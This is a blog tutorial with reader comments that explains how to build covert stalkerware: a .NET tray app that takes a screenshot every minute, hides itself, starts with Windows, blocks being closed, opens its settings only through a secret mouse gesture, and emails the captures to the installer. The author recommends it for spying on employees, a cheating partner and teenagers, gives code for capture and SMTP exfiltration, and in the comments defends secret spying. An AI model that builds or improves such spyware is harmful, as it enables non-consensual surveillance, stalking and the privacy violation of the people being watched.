Make a surveillance application which captures desktop and emails you as attachment

Some time back I needed to capture a certain computers desktop
in order to find out what that user is doing every day. So, I made
a .NET 2.0 Winforms Application which stays on system tray
(optional) and capture the desktop in given time interval (say
every 60 secs) and emailed the captured images to me as
message attachment (say every 30 mins). It ensures the captures are
small enough and embedded inside HTML email so that I don’t need to
open hundreds of attachments and see the screenshots. I could just
read through the email and see the captures made. You will find
this application quite handy in many use cases including:

  • Keep an eye on developers who spend too much time on web and
    chatting. See what they really do.
  • Keep an eye on your better half incase s/he is cheating on
    you.
  • Keep an eye on your teenagers and see how they use
    computer. Find the amount of time they browser porn on
    web.

All you do is sit back and relax in your office and the app
informs you every 30 mins via email what your subject is doing on
the computer. You don’t need to worry about missing some captures
when you are away from your computer. It will be safely kept in
your inbox and you can go through all the captures on your
weekend.

Configure the following settings from the Visual Studio Settings
Designer (if you have Visual Studio):

Configure the path where the screenshots will be stored. Then
configure the duration, default is every 1 minute, one screenshot
is taken. “To” contains the email address of yours. Use free email
services because very soon you will find it’s filled up. Username
and Password is for the SMTP authentication. “SMTP” contains the
SMTP Server name or IP. “MailSendDelay” is the delay between
sending emails.

All you need to do is build the app and install/run it once on
the computer which you want to keep an eye on. It will hide itself
on the system tray as a harmless icon and register itself on the
startup and start capturing immediately. After a week or two,
cleanup the “C:temp” folder where the screenshots are kept.

You can also configure the properties at run time after running
it once on a computer. This is for those who does not have Visual
Studio in order to configure the settings before building
it.

In order to launch the configuration dialog box while the
application is running, find the icon on the system tray and click
mouse buttons exactly in this order:

  • Press left and right mouse button on the icon one after
    another
  • Release only the right mouse button while holding the left
    mouse button down

This will bring up the configuration dialog:

Here you can make changes while it is running.

Let’s learn some interesting stuffs from this application:

1. Prevent closing the application when close button is
clicked:



private void MainForm_FormClosing( object sender,

FormClosingEventArgs e) { Settings.Default.Save();

this .Hide(); e.Cancel = true

; }




2. Capturing the screenshot






using (Bitmap bmpScreenshot = new

Bitmap(Screen.PrimaryScreen.Bounds.Width,

Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb))

{ // Create a graphics object from the bitmap

using (Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot)) {

try { Log( “ Capture

screen “ ); //

Take the screenshot from the upper

left corner to the right bottom corner gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X,

Screen.PrimaryScreen.Bounds.Y, 0 ,

0 , Screen.PrimaryScreen.Bounds.Size,

CopyPixelOperation.SourceCopy);




First a bitmap object for the whole screen size is created and

then the graphics from the screen is copied to the Bitmap

object.


3. Convert the Bitmap to low resolution JPEG






// Get the ImageCodecInfo for the desired target

format ImageCodecInfo

codec = GetEncoderInfo( “ image/jpeg “ );

// Set the quality to very low System.Drawing.Imaging.Encoder

qualityEncoder =

System.Drawing.Imaging.Encoder.Quality;

EncoderParameter ratio =

new EncoderParameter(qualityEncoder,

10L ); //

Add the quality parameter to the

list EncoderParameters

codecParams =

new EncoderParameters( 1 );

codecParams.Param[ 0

] = ratio;




Here we configure the JPEG codec with very low resolution (10%).

GetEncoderInfo is a function which runs through all available

codecs and finds the one we need.






private static ImageCodecInfo GetEncoderInfo(String mimeType)

{ int j; ImageCodecInfo[] encoders; encoders

= ImageCodecInfo.GetImageEncoders();

for (j =

0 ; j < encoders.Length; ++ j) {

if (encoders[j].MimeType == mimeType) return encoders[j]; } return null ;

}




4. Saving bitmap using codec






using (FileStream fs = new

FileStream(filePath, FileMode.Create))

{ bmpScreenshot.Save(fs, codec, codecParams); fs.Close();

}




5. Handling Win32Exception


I noticed sometimes during screen capture, an unknown

Win32Exception throws up. There’s no way to work around this

problem until I restart the application. Here’s how I do it:






catch (Exception x) { Log(x.ToString());

if (x is

Win32Exception) { Log(

“ Restarting… “ );

Application.Restart(); } }




6. Email the pictures as embedded image in HTML format


First connect to the mail server using

System.Net.SmtpClient:






SmtpClient client

= new SmtpClient(Settings.Default.Smtp);

client.Credentials =

new NetworkCredential(Settings.Default.UserName,

Settings.Default.Password); MailMessage msg = new

MailMessage(Settings.Default.To,

Settings.Default.To); msg.Subject = DateTime.Now.ToString(); msg.IsBodyHtml

= true ;




We are going to construct an Html mail where the images will be

inline. The tricky part is to build the body of the message. The

body requires that we create  tag for each image inside

the body in this format:






< img src

=cid:ID_OF_THE_IMAGE

/>




The ID needs to be the ContentID of the LinkedResource instance

which is created for each image. Here’s the code:






List < LinkedResource > resources = new

List < LinkedResource > (); for

( int i

= Settings.Default.LastSentFileNo; i

< Settings.Default.LastFileNo; i ++ ) {

string filePath = FilePath(i); // then we

create the Html part //

to embed images, we need to use the

prefix ‘cid’ in the img src value // the cid

value will map to the Content-Id of a Linked resource.

// thus  will map to

a LinkedResource with a ContentId of ‘companylogo’

body.AppendLine( “  “

+ i.ToString() + “

/> “ );

// create the LinkedResource (embedded image)

LinkedResource logo

= new LinkedResource(filePath); logo.ContentId

= “ Capture “ +

i.ToString(); // add the

LinkedResource to the appropriate view resources.Add(logo); }




I keep a counter for the last capture file name and the last

emailed file number. Then for each capture file which has not been

emailed yet, I create a LinkedResource for the image and then

add it in the resources list. I also build the body of the message

which contains the  tag with the LinkedResource

ContentID.


Then we create something called AlternateView for the message

body which says the message has a HTML view:






AlternateView htmlView

= AlternateView.CreateAlternateViewFromString(body.ToString(),

null , “

text/html “ );

foreach (LinkedResource resource in resources)

htmlView.LinkedResources.Add(resource);

msg.AlternateViews.Add(htmlView);




This view contains the HTML body and the resource

collection.


After this, the email is sent asynchronously so that the screen

capture process does not get stuck. It generally takes a while to

send the image with all the screenshots embedded. So, you can’t do

this synchronously.






try { client.Timeout = 10

* 60 *

1000 ; client.SendAsync(msg, “” );

client.SendCompleted +=

new SendCompletedEventHandler(client_SendCompleted);

mailSendTimer.Stop(); Log( “ Sending

mail… “ ); } catch (Exception x) { Log(x.ToString()); }




That’s all folks!


Download

the source here


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			11 thoughts on “Make a surveillance application which captures desktop and emails you as attachment”		


		
		
    
					
  1. 
			
    
				

				
    
					
    Misho bhaia….its quite different and inovative project…:) Well done 🙂
    

    
				
    

				
    			
    
		
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    Good, Is there any method to make the application not sending an email but Make HTML File on C:Temp e.g. 
    

    Thanks 
    

    
				
    

				
    			
    
		
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												re: Make a surveillance application which captures desktop and emails you as attachment says:					
    

					
    
											
    

									
    

				
    
					
    I have downloaded and installed on my machine. I really appreciate its working. But I am afraied how to uninstall it. Please do help. Waiting for your reply. 
    

    
				
    

				
    			
    
		
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    Yup, the concept is good. But the usage you mentioned – the first two (keep an eye on developer or better half) sounds mean to me. As being a developer, I know it very well you can’t get good output from them by doing a surveillance like prisoners. And the same thing applies also for the 2nd usage – without having faith you can’t get 100% whether its in a company or in a family or in a relation.
    

    
				
    

				
    			
    
		
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    Hi Shahid,
    

    You are right about your views. Unfortunately, there are sometimes loose cannons in the company who secretly try to do everything possible to cause damage to the company. So, you need to sometimes play dirty.
    

    Same goes for better half. Sometimes you know you are being cheated and you just need proof of that so that you can. 
    

    
				
    

				
    			
    
		
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    Just wondering if it's possible to capture the second monitor as well, or detect if they have another monitor set up, otherwise if they know about ti, the second montiror is where everything you don't want to see will be displayed.
    

    
				
    

				
    			
    
		
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